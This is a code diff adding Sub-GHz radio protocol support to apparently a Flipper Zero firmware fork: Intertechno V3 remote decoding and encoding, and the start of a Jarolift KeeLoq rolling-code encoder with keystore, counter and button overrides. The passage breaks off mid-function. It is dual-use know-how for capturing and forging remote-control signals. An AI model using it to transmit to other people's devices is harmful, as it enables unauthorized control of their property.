+SubGhzProtocolStatus subghz_protocol_decoder_ido_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderIDo.
+ * @param context Pointer to a SubGhzProtocolDecoderIDo instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_ido_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderIDo instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_ido_get_string(void* context, FuriString* output);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/intertechno_v3.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/intertechno_v3.c
new file mode 100644
index 000000000..fe9ad7958
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/intertechno_v3.c
@@ -0,0 +1,486 @@
+#include "intertechno_v3.h"
+
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+
+#define TAG "SubGhzProtocolIntertechnoV3"
+
+#define CH_PATTERN "%c%c%c%c"
+#define CNT_TO_CH(ch) \
+    (ch & 0x8 ? '1' : '0'), (ch & 0x4 ? '1' : '0'), (ch & 0x2 ? '1' : '0'), (ch & 0x1 ? '1' : '0')
+
+#define INTERTECHNO_V3_DIMMING_COUNT_BIT 36
+
+static const SubGhzBlockConst subghz_protocol_intertechno_v3_const = {
+    .te_short = 275,
+    .te_long = 1375,
+    .te_delta = 150,
+    .min_count_bit_for_found = 32,
+};
+
+struct SubGhzProtocolDecoderIntertechno_V3 {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+};
+
+struct SubGhzProtocolEncoderIntertechno_V3 {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    IntertechnoV3DecoderStepReset = 0,
+    IntertechnoV3DecoderStepStartSync,
+    IntertechnoV3DecoderStepFoundSync,
+    IntertechnoV3DecoderStepStartDuration,
+    IntertechnoV3DecoderStepSaveDuration,
+    IntertechnoV3DecoderStepCheckDuration,
+    IntertechnoV3DecoderStepEndDuration,
+} IntertechnoV3DecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_intertechno_v3_decoder = {
+    .alloc = subghz_protocol_decoder_intertechno_v3_alloc,
+    .free = subghz_protocol_decoder_intertechno_v3_free,
+
+    .feed = subghz_protocol_decoder_intertechno_v3_feed,
+    .reset = subghz_protocol_decoder_intertechno_v3_reset,
+
+    .get_hash_data = subghz_protocol_decoder_intertechno_v3_get_hash_data,
+    .serialize = subghz_protocol_decoder_intertechno_v3_serialize,
+    .deserialize = subghz_protocol_decoder_intertechno_v3_deserialize,
+    .get_string = subghz_protocol_decoder_intertechno_v3_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_intertechno_v3_encoder = {
+    .alloc = subghz_protocol_encoder_intertechno_v3_alloc,
+    .free = subghz_protocol_encoder_intertechno_v3_free,
+
+    .deserialize = subghz_protocol_encoder_intertechno_v3_deserialize,
+    .stop = subghz_protocol_encoder_intertechno_v3_stop,
+    .yield = subghz_protocol_encoder_intertechno_v3_yield,
+};
+
+const SubGhzProtocol subghz_protocol_intertechno_v3 = {
+    .name = SUBGHZ_PROTOCOL_INTERTECHNO_V3_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_315 | SubGhzProtocolFlag_868 |
+            SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load |
+            SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_intertechno_v3_decoder,
+    .encoder = &subghz_protocol_intertechno_v3_encoder,
+};
+
+void* subghz_protocol_encoder_intertechno_v3_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderIntertechno_V3* instance =
+        malloc(sizeof(SubGhzProtocolEncoderIntertechno_V3));
+
+    instance->base.protocol = &subghz_protocol_intertechno_v3;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 256;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_intertechno_v3_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderIntertechno_V3* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderIntertechno_V3 instance
+ * @return true On success
+ */
+static bool subghz_protocol_encoder_intertechno_v3_get_upload(
+    SubGhzProtocolEncoderIntertechno_V3* instance) {
+    furi_assert(instance);
+    size_t index = 0;
+
+    //Send header
+    instance->encoder.upload[index++] =
+        level_duration_make(true, (uint32_t)subghz_protocol_intertechno_v3_const.te_short);
+    instance->encoder.upload[index++] =
+        level_duration_make(false, (uint32_t)subghz_protocol_intertechno_v3_const.te_short * 38);
+    //Send sync
+    instance->encoder.upload[index++] =
+        level_duration_make(true, (uint32_t)subghz_protocol_intertechno_v3_const.te_short);
+    instance->encoder.upload[index++] =
+        level_duration_make(false, (uint32_t)subghz_protocol_intertechno_v3_const.te_short * 10);
+    //Send key data
+    for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
+        if((instance->generic.data_count_bit == INTERTECHNO_V3_DIMMING_COUNT_BIT) && (i == 9)) {
+            //send bit dimm
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_intertechno_v3_const.te_short);
+            instance->encoder.upload[index++] = level_duration_make(
+                false, (uint32_t)subghz_protocol_intertechno_v3_const.te_short);
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_intertechno_v3_const.te_short);
+            instance->encoder.upload[index++] = level_duration_make(
+                false, (uint32_t)subghz_protocol_intertechno_v3_const.te_short);
+        } else if(bit_read(instance->generic.data, i - 1)) {
+            //send bit 1
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_intertechno_v3_const.te_short);
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_intertechno_v3_const.te_long);
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_intertechno_v3_const.te_short);
+            instance->encoder.upload[index++] = level_duration_make(
+                false, (uint32_t)subghz_protocol_intertechno_v3_const.te_short);
+        } else {
+            //send bit 0
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_intertechno_v3_const.te_short);
+            instance->encoder.upload[index++] = level_duration_make(
+                false, (uint32_t)subghz_protocol_intertechno_v3_const.te_short);
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_intertechno_v3_const.te_short);
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_intertechno_v3_const.te_long);
+        }
+    }
+    instance->encoder.size_upload = index;
+    return true;
+}
+
+SubGhzProtocolStatus subghz_protocol_encoder_intertechno_v3_deserialize(
+    void* context,
+    FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderIntertechno_V3* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize(&instance->generic, flipper_format);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        if((instance->generic.data_count_bit !=
+            subghz_protocol_intertechno_v3_const.min_count_bit_for_found) &&
+           (instance->generic.data_count_bit != INTERTECHNO_V3_DIMMING_COUNT_BIT)) {
+            FURI_LOG_E(TAG, "Wrong number of bits in key");
+            ret = SubGhzProtocolStatusErrorValueBitCount;
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        if(!subghz_protocol_encoder_intertechno_v3_get_upload(instance)) {
+            ret = SubGhzProtocolStatusErrorEncoderGetUpload;
+            break;
+        }
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_intertechno_v3_stop(void* context) {
+    SubGhzProtocolEncoderIntertechno_V3* instance = context;
+    instance->encoder.is_running = false;
+    instance->encoder.front = 0; // reset position
+}
+
+LevelDuration subghz_protocol_encoder_intertechno_v3_yield(void* context) {
+    SubGhzProtocolEncoderIntertechno_V3* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_intertechno_v3_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderIntertechno_V3* instance =
+        malloc(sizeof(SubGhzProtocolDecoderIntertechno_V3));
+    instance->base.protocol = &subghz_protocol_intertechno_v3;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_intertechno_v3_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderIntertechno_V3* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_intertechno_v3_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderIntertechno_V3* instance = context;
+    instance->decoder.parser_step = IntertechnoV3DecoderStepReset;
+}
+
+void subghz_protocol_decoder_intertechno_v3_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderIntertechno_V3* instance = context;
+    switch(instance->decoder.parser_step) {
+    case IntertechnoV3DecoderStepReset:
+        if((!level) &&
+           (DURATION_DIFF(duration, subghz_protocol_intertechno_v3_const.te_short * 37) <
+            subghz_protocol_intertechno_v3_const.te_delta * 15)) {
+            instance->decoder.parser_step = IntertechnoV3DecoderStepStartSync;
+        }
+        break;
+    case IntertechnoV3DecoderStepStartSync:
+        if(level && (DURATION_DIFF(duration, subghz_protocol_intertechno_v3_const.te_short) <
+                     subghz_protocol_intertechno_v3_const.te_delta)) {
+            instance->decoder.parser_step = IntertechnoV3DecoderStepFoundSync;
+        } else {
+            instance->decoder.parser_step = IntertechnoV3DecoderStepReset;
+        }
+        break;
+
+    case IntertechnoV3DecoderStepFoundSync:
+        if(!level && (DURATION_DIFF(duration, subghz_protocol_intertechno_v3_const.te_short * 10) <
+                      subghz_protocol_intertechno_v3_const.te_delta * 3)) {
+            instance->decoder.parser_step = IntertechnoV3DecoderStepStartDuration;
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+        } else {
+            instance->decoder.parser_step = IntertechnoV3DecoderStepReset;
+        }
+        break;
+
+    case IntertechnoV3DecoderStepStartDuration:
+        if(level && (DURATION_DIFF(duration, subghz_protocol_intertechno_v3_const.te_short) <
+                     subghz_protocol_intertechno_v3_const.te_delta)) {
+            instance->decoder.parser_step = IntertechnoV3DecoderStepSaveDuration;
+        } else {
+            instance->decoder.parser_step = IntertechnoV3DecoderStepReset;
+        }
+        break;
+
+    case IntertechnoV3DecoderStepSaveDuration:
+        if(!level) { //save interval
+            if(duration >= (subghz_protocol_intertechno_v3_const.te_short * 11)) {
+                instance->decoder.parser_step = IntertechnoV3DecoderStepStartSync;
+                if((instance->decoder.decode_count_bit ==
+                    subghz_protocol_intertechno_v3_const.min_count_bit_for_found) ||
+                   (instance->decoder.decode_count_bit == INTERTECHNO_V3_DIMMING_COUNT_BIT)) {
+                    instance->generic.data = instance->decoder.decode_data;
+                    instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+
+                    if(instance->base.callback)
+                        instance->base.callback(&instance->base, instance->base.context);
+                }
+                break;
+            }
+            instance->decoder.te_last = duration;
+            instance->decoder.parser_step = IntertechnoV3DecoderStepCheckDuration;
+        } else {
+            instance->decoder.parser_step = IntertechnoV3DecoderStepReset;
+        }
+        break;
+    case IntertechnoV3DecoderStepCheckDuration:
+        if(level) {
+            //Add 0 bit
+            if((DURATION_DIFF(
+                    instance->decoder.te_last, subghz_protocol_intertechno_v3_const.te_short) <
+                subghz_protocol_intertechno_v3_const.te_delta) &&
+               (DURATION_DIFF(duration, subghz_protocol_intertechno_v3_const.te_short) <
+                subghz_protocol_intertechno_v3_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = IntertechnoV3DecoderStepEndDuration;
+            } else if(
+                //Add 1 bit
+                (DURATION_DIFF(
+                     instance->decoder.te_last, subghz_protocol_intertechno_v3_const.te_long) <
+                 subghz_protocol_intertechno_v3_const.te_delta * 2) &&
+                (DURATION_DIFF(duration, subghz_protocol_intertechno_v3_const.te_short) <
+                 subghz_protocol_intertechno_v3_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->decoder.parser_step = IntertechnoV3DecoderStepEndDuration;
+
+            } else if(
+                //Add dimm_state
+                (DURATION_DIFF(
+                     instance->decoder.te_last, subghz_protocol_intertechno_v3_const.te_short) <
+                 subghz_protocol_intertechno_v3_const.te_delta * 2) &&
+                (DURATION_DIFF(duration, subghz_protocol_intertechno_v3_const.te_short) <
+                 subghz_protocol_intertechno_v3_const.te_delta) &&
+                (instance->decoder.decode_count_bit == 27)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = IntertechnoV3DecoderStepEndDuration;
+
+            } else
+                instance->decoder.parser_step = IntertechnoV3DecoderStepReset;
+        } else {
+            instance->decoder.parser_step = IntertechnoV3DecoderStepReset;
+        }
+        break;
+
+    case IntertechnoV3DecoderStepEndDuration:
+        if(!level && ((DURATION_DIFF(duration, subghz_protocol_intertechno_v3_const.te_short) <
+                       subghz_protocol_intertechno_v3_const.te_delta) ||
+                      (DURATION_DIFF(duration, subghz_protocol_intertechno_v3_const.te_long) <
+                       subghz_protocol_intertechno_v3_const.te_delta * 2))) {
+            instance->decoder.parser_step = IntertechnoV3DecoderStepStartDuration;
+        } else {
+            instance->decoder.parser_step = IntertechnoV3DecoderStepReset;
+        }
+        break;
+    }
+}
+
+/** 
+ * Analysis of received data
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ */
+static void subghz_protocol_intertechno_v3_check_remote_controller(SubGhzBlockGeneric* instance) {
+    /*
+ *  A frame is either 32 or 36 bits:
+ *     
+ *               _
+ *   start bit: | |__________ (T,10T)
+ *          _   _
+ *   '0':  | |_| |_____  (T,T,T,5T)
+ *          _       _
+ *   '1':  | |_____| |_  (T,5T,T,T)
+ *          _   _
+ *   dimm: | |_| |_     (T,T,T,T)
+ * 
+ *              _
+ *   stop bit: | |____...____ (T,38T)
+ * 
+ *  if frame 32 bits
+ *                     SSSSSSSSSSSSSSSSSSSSSSSSSS all_ch  on/off  ~ch
+ *  Key:0x3F86C59F  => 00111111100001101100010110   0       1     1111
+ * 
+ *  if frame 36 bits
+ *                     SSSSSSSSSSSSSSSSSSSSSSSSSS  all_ch dimm  ~ch   dimm_level
+ *  Key:0x42D2E8856 => 01000010110100101110100010   0      X    0101  0110
+ * 
+ */
+
+    if(instance->data_count_bit == subghz_protocol_intertechno_v3_const.min_count_bit_for_found) {
+        instance->serial = (instance->data >> 6) & 0x3FFFFFF;
+        if((instance->data >> 5) & 0x1) {
+            instance->cnt = 1 << 5;
+        } else {
+            instance->cnt = (~instance->data & 0xF);
+        }
+        instance->btn = (instance->data >> 4) & 0x1;
+    } else if(instance->data_count_bit == INTERTECHNO_V3_DIMMING_COUNT_BIT) {
+        instance->serial = (instance->data >> 10) & 0x3FFFFFF;
+        if((instance->data >> 9) & 0x1) {
+            instance->cnt = 1 << 5;
+        } else {
+            instance->cnt = (~(instance->data >> 4) & 0xF);
+        }
+        instance->btn = (instance->data) & 0xF;
+    } else {
+        instance->serial = 0;
+        instance->cnt = 0;
+        instance->btn = 0;
+    }
+}
+
+uint8_t subghz_protocol_decoder_intertechno_v3_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderIntertechno_V3* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_intertechno_v3_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderIntertechno_V3* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_intertechno_v3_deserialize(
+    void* context,
+    FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderIntertechno_V3* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize(&instance->generic, flipper_format);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        if((instance->generic.data_count_bit !=
+            subghz_protocol_intertechno_v3_const.min_count_bit_for_found) &&
+           (instance->generic.data_count_bit != INTERTECHNO_V3_DIMMING_COUNT_BIT)) {
+            FURI_LOG_E(TAG, "Wrong number of bits in key");
+            ret = SubGhzProtocolStatusErrorValueBitCount;
+            break;
+        }
+    } while(false);
+    return ret;
+}
+
+void subghz_protocol_decoder_intertechno_v3_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderIntertechno_V3* instance = context;
+
+    subghz_protocol_intertechno_v3_check_remote_controller(&instance->generic);
+
+    // push protocol data to global variable
+    subghz_block_generic_global.current_btn = instance->generic.btn;
+    //
+
+    furi_string_cat_printf(
+        output,
+        "%.11s %db\r\n"
+        "Key:0x%08llX\r\n"
+        "Sn:%07lX\r\n",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        instance->generic.data,
+        instance->generic.serial);
+
+    if(instance->generic.data_count_bit ==
+       subghz_protocol_intertechno_v3_const.min_count_bit_for_found) {
+        if(instance->generic.cnt >> 5) {
+            furi_string_cat_printf(
+                output, "Ch: All Btn:%s\r\n", (instance->generic.btn ? "On" : "Off"));
+            subghz_block_generic_global.btn_is_available = false;
+            subghz_block_generic_global.btn_length_bit = 1;
+        } else {
+            furi_string_cat_printf(
+                output,
+                "Ch:" CH_PATTERN " Btn:%s\r\n",
+                CNT_TO_CH(instance->generic.cnt),
+                (instance->generic.btn ? "On" : "Off"));
+            subghz_block_generic_global.btn_is_available = false;
+            subghz_block_generic_global.btn_length_bit = 1;
+        }
+    } else if(instance->generic.data_count_bit == INTERTECHNO_V3_DIMMING_COUNT_BIT) {
+        furi_string_cat_printf(
+            output,
+            "Ch:" CH_PATTERN " Dimm:%d%%\r\n",
+            CNT_TO_CH(instance->generic.cnt),
+            (int)(6.67f * (float)instance->generic.btn));
+        subghz_block_generic_global.btn_is_available = false;
+        subghz_block_generic_global.btn_length_bit = 4;
+    }
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/intertechno_v3.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/intertechno_v3.h
new file mode 100644
index 000000000..4d1c24cb6
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/intertechno_v3.h
@@ -0,0 +1,111 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_INTERTECHNO_V3_NAME "Intertechno_V3"
+
+typedef struct SubGhzProtocolDecoderIntertechno_V3 SubGhzProtocolDecoderIntertechno_V3;
+typedef struct SubGhzProtocolEncoderIntertechno_V3 SubGhzProtocolEncoderIntertechno_V3;
+
+extern const SubGhzProtocolDecoder subghz_protocol_intertechno_v3_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_intertechno_v3_encoder;
+extern const SubGhzProtocol subghz_protocol_intertechno_v3;
+
+/**
+ * Allocate SubGhzProtocolEncoderIntertechno_V3.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderIntertechno_V3* pointer to a SubGhzProtocolEncoderIntertechno_V3 instance
+ */
+void* subghz_protocol_encoder_intertechno_v3_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderIntertechno_V3.
+ * @param context Pointer to a SubGhzProtocolEncoderIntertechno_V3 instance
+ */
+void subghz_protocol_encoder_intertechno_v3_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderIntertechno_V3 instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return Starus error
+ */
+SubGhzProtocolStatus subghz_protocol_encoder_intertechno_v3_deserialize(
+    void* context,
+    FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderIntertechno_V3 instance
+ */
+void subghz_protocol_encoder_intertechno_v3_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderIntertechno_V3 instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_intertechno_v3_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderIntertechno_V3.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderIntertechno_V3* pointer to a SubGhzProtocolDecoderIntertechno_V3 instance
+ */
+void* subghz_protocol_decoder_intertechno_v3_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderIntertechno_V3.
+ * @param context Pointer to a SubGhzProtocolDecoderIntertechno_V3 instance
+ */
+void subghz_protocol_decoder_intertechno_v3_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderIntertechno_V3.
+ * @param context Pointer to a SubGhzProtocolDecoderIntertechno_V3 instance
+ */
+void subghz_protocol_decoder_intertechno_v3_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderIntertechno_V3 instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_intertechno_v3_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderIntertechno_V3 instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_intertechno_v3_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderIntertechno_V3.
+ * @param context Pointer to a SubGhzProtocolDecoderIntertechno_V3 instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return Starus error
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_intertechno_v3_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderIntertechno_V3.
+ * @param context Pointer to a SubGhzProtocolDecoderIntertechno_V3 instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return Starus error
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_intertechno_v3_deserialize(
+    void* context,
+    FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderIntertechno_V3 instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_intertechno_v3_get_string(void* context, FuriString* output);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/jarolift.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/jarolift.c
new file mode 100644
index 000000000..eae35bb31
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/jarolift.c
@@ -0,0 +1,786 @@
+#include "jarolift.h"
+#include "core/log.h"
+#include "keeloq_common.h"
+
+#include "../subghz_keystore.h"
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+
+#include "../blocks/custom_btn_i.h"
+
+#define TAG "SubGhzProtocolJarolift"
+
+static const SubGhzBlockConst subghz_protocol_jarolift_const = {
+    .te_short = 400,
+    .te_long = 800,
+    .te_delta = 167,
+    .min_count_bit_for_found = 72,
+};
+
+struct SubGhzProtocolDecoderJarolift {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+
+    uint16_t header_count;
+    SubGhzKeystore* keystore;
+};
+
+struct SubGhzProtocolEncoderJarolift {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+    SubGhzKeystore* keystore;
+};
+
+typedef enum {
+    JaroliftDecoderStepReset = 0,
+    JaroliftDecoderStepCheckPreambula,
+    JaroliftDecoderStepSaveDuration,
+    JaroliftDecoderStepCheckDuration,
+} JaroliftDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_jarolift_decoder = {
+    .alloc = subghz_protocol_decoder_jarolift_alloc,
+    .free = subghz_protocol_decoder_jarolift_free,
+
+    .feed = subghz_protocol_decoder_jarolift_feed,
+    .reset = subghz_protocol_decoder_jarolift_reset,
+
+    .get_hash_data = subghz_protocol_decoder_jarolift_get_hash_data,
+    .serialize = subghz_protocol_decoder_jarolift_serialize,
+    .deserialize = subghz_protocol_decoder_jarolift_deserialize,
+    .get_string = subghz_protocol_decoder_jarolift_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_jarolift_encoder = {
+    .alloc = subghz_protocol_encoder_jarolift_alloc,
+    .free = subghz_protocol_encoder_jarolift_free,
+
+    .deserialize = subghz_protocol_encoder_jarolift_deserialize,
+    .stop = subghz_protocol_encoder_jarolift_stop,
+    .yield = subghz_protocol_encoder_jarolift_yield,
+};
+
+const SubGhzProtocol subghz_protocol_jarolift = {
+    .name = SUBGHZ_PROTOCOL_JAROLIFT_NAME,
+    .type = SubGhzProtocolTypeDynamic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_jarolift_decoder,
+    .encoder = &subghz_protocol_jarolift_encoder,
+};
+
+//
+// Encoder
+//
+
+// Pre define function
+static void subghz_protocol_jarolift_remote_controller(
+    SubGhzBlockGeneric* instance,
+    SubGhzKeystore* keystore);
+
+/**
+ * Defines the button value for the current btn_id
+ * Basic set | 0x1 | 0x2 | 0x4 | 0x8 |
+ * @return Button code
+ */
+static uint8_t subghz_protocol_jarolift_get_btn_code(void);
+
+void* subghz_protocol_encoder_jarolift_alloc(SubGhzEnvironment* environment) {
+    SubGhzProtocolEncoderJarolift* instance = malloc(sizeof(SubGhzProtocolEncoderJarolift));
+
+    instance->base.protocol = &subghz_protocol_jarolift;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    instance->keystore = subghz_environment_get_keystore(environment);
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 256;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+
+    return instance;
+}
+
+void subghz_protocol_encoder_jarolift_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderJarolift* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+void subghz_protocol_encoder_jarolift_stop(void* context) {
+    SubGhzProtocolEncoderJarolift* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_jarolift_yield(void* context) {
+    SubGhzProtocolEncoderJarolift* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+/** 
+ * Key generation from simple data
+ * @param instance Pointer to a SubGhzProtocolEncoderJarolift* instance
+ * @param btn Button number, 4 bit
+ */
+static bool
+    subghz_protocol_jarolift_gen_data(SubGhzProtocolEncoderJarolift* instance, uint8_t btn) {
+    // Save original button for later use
+    if(subghz_custom_btn_get_original() == 0) {
+        subghz_custom_btn_set_original(btn);
+    }
+
+    btn = subghz_protocol_jarolift_get_btn_code();
+
+    // override button if we change it with signal settings button editor
+    if(subghz_block_generic_global_button_override_get(&btn))
+        FURI_LOG_D(TAG, "Button sucessfully changed to 0x%X", btn);
+
+    // Check for OFEX (overflow experimental) mode
+    if(furi_hal_subghz_get_rolling_counter_mult() != -0x7FFFFFFF) {
+        // standart counter mode. PULL data from subghz_block_generic_global variables
+        if(!subghz_block_generic_global_counter_override_get(&instance->generic.cnt)) {
+            // if counter_override_get return FALSE then counter was not changed and we increase counter by standart mult value
+            if((instance->generic.cnt + furi_hal_subghz_get_rolling_counter_mult()) > 0xFFFF) {
+                instance->generic.cnt = 0;
+            } else {
+                instance->generic.cnt += furi_hal_subghz_get_rolling_counter_mult();
+            }
+        }
+    } else {
+        if((instance->generic.cnt + 0x1) > 0xFFFF) {
